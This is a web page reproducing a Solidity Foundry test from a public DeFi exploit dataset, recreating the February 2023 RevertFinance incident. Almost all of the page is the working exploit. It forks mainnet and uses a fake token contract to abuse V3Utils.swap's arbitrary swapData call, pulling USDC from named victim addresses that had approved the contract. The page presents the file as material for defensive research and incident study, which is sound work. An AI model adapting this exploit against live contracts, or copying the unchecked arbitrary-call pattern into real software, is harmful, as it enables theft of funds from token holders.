Public reproduction file

src/test/2023-02/RevertFinance_exp.sol

Public reproduction file for dataset entry - RevertFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/RevertFinance_exp.sol90 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://mirror.xyz/revertfinance.eth/3sdpQ3v9vEKiOjaHXUi3TdEfhleAXXlAEWeODrRHJtU
9// @TX
10// https://etherscan.io/tx/0xdaccbc437cb07427394704fbcc8366589ffccf974ec6524f3483844b043f31d5
11 
12interface V3Utils {
13    struct SwapParams {
14        address tokenIn;
15        address tokenOut;
16        uint256 amountIn;
17        uint256 minAmountOut;
18        address recipient; // recipient of tokenOut and leftover tokenIn (if any leftover)
19        bytes swapData;
20        bool unwrap; // if tokenIn or tokenOut is WETH - unwrap
21    }
22 
23    function swap(
24        SwapParams calldata params
25    ) external;
26}
27 
28contract ContractTest is Test {
29    V3Utils utils = V3Utils(0x531110418d8591C92e9cBBFC722Db8FFb604FAFD);
30    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
31    address[] victims = [0x067D0F9089743271058D4Bf2a1a29f4E9C6fdd1b, 0x4107A0A4a50AC2c4cc8C5a3954Bc01ff134506b2];
32    uint256 counter;
33 
34    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
35 
36    function setUp() public {
37        cheats.createSelectFork("mainnet", 16_653_389);
38        cheats.label(address(utils), "utils");
39        cheats.label(address(USDC), "USDC");
40    }
41 
42    function testExploit() external {
43        for (uint256 i; i < victims.length; ++i) {
44            uint256 transferAmount = USDC.balanceOf(victims[i]);
45            if (USDC.allowance(victims[i], address(utils)) < transferAmount) {
46                transferAmount = USDC.allowance(victims[i], address(utils));
47                if (transferAmount == 0) continue;
48            }
49            bytes memory data = abi.encodeWithSignature(
50                "transferFrom(address,address,uint256)", victims[i], address(this), transferAmount
51            );
52            bytes memory swapdata = abi.encode(address(USDC), address(this), data);
53            V3Utils.SwapParams memory params = V3Utils.SwapParams({
54                tokenIn: address(this),
55                tokenOut: address(this),
56                amountIn: 1,
57                minAmountOut: 0,
58                recipient: address(this),
59                swapData: swapdata,
60                unwrap: false
61            });
62            utils.swap(params);
63            counter--;
64        }
65 
66        emit log_named_decimal_uint(
67            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
68        );
69    }
70 
71    function transferFrom(address from, address to, uint256 value) external returns (bool) {
72        counter++;
73        return true;
74    }
75 
76    function approve(address spender, uint256 value) external returns (bool) {
77        return true;
78    }
79 
80    function transfer(address to, uint256 value) external returns (bool) {
81        return true;
82    }
83 
84    function balanceOf(
85        address owner
86    ) external view returns (uint256) {
87        if (counter == 1) return 1;
88        else return 0;
89    }
90}

Analysis

Dataset entry

Public Foundry test for “- RevertFinance” (2023-02-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-02/BonqDAO_exp.solSame month in the dataset · 533 lines
src/test/2023-02/CowSwap_exp.solSame month in the dataset · 64 lines
src/test/2023-02/Dexible_exp.solSame month in the dataset · 83 lines
src/test/2023-02/dForce_exp.solSame month in the dataset · 382 lines
src/test/2023-02/DYNA_exp.solSame month in the dataset · 132 lines
src/test/2023-02/EFVault_exp.solSame month in the dataset · 38 lines
src/test/2023-02/FDP_exp.solSame month in the dataset · 114 lines
src/test/2023-02/LaunchZone_exp.solSame month in the dataset · 146 lines
src/test/2023-02/Orion_exp.solSame month in the dataset · 191 lines
src/test/2023-02/Platypus_exp.solSame month in the dataset · 138 lines
src/test/2023-02/Sheep_exp.solSame month in the dataset · 72 lines
src/test/2023-02/USDs_exp.solSame month in the dataset · 51 lines
src/test/2023-02/Starlink_exp.solSame month in the dataset · 80 lines
src/test/2023-02/SwapX_exp.solSame month in the dataset · 83 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Explorer: https://etherscan.io/tx/0xdaccbc437cb07427394704fbcc8366589ffccf974ec6524f3483844b043f31d5

File record

Name: RevertFinance
Path: src/test/2023-02/RevertFinance_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 4d926179940c7b34fa731f7134bf40bb17f16a75
Language: Solidity
Size: 91 lines
Date: 2023-02-18
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-02/RevertFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4d926179940c7b34fa731f7134bf40bb17f16a75, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.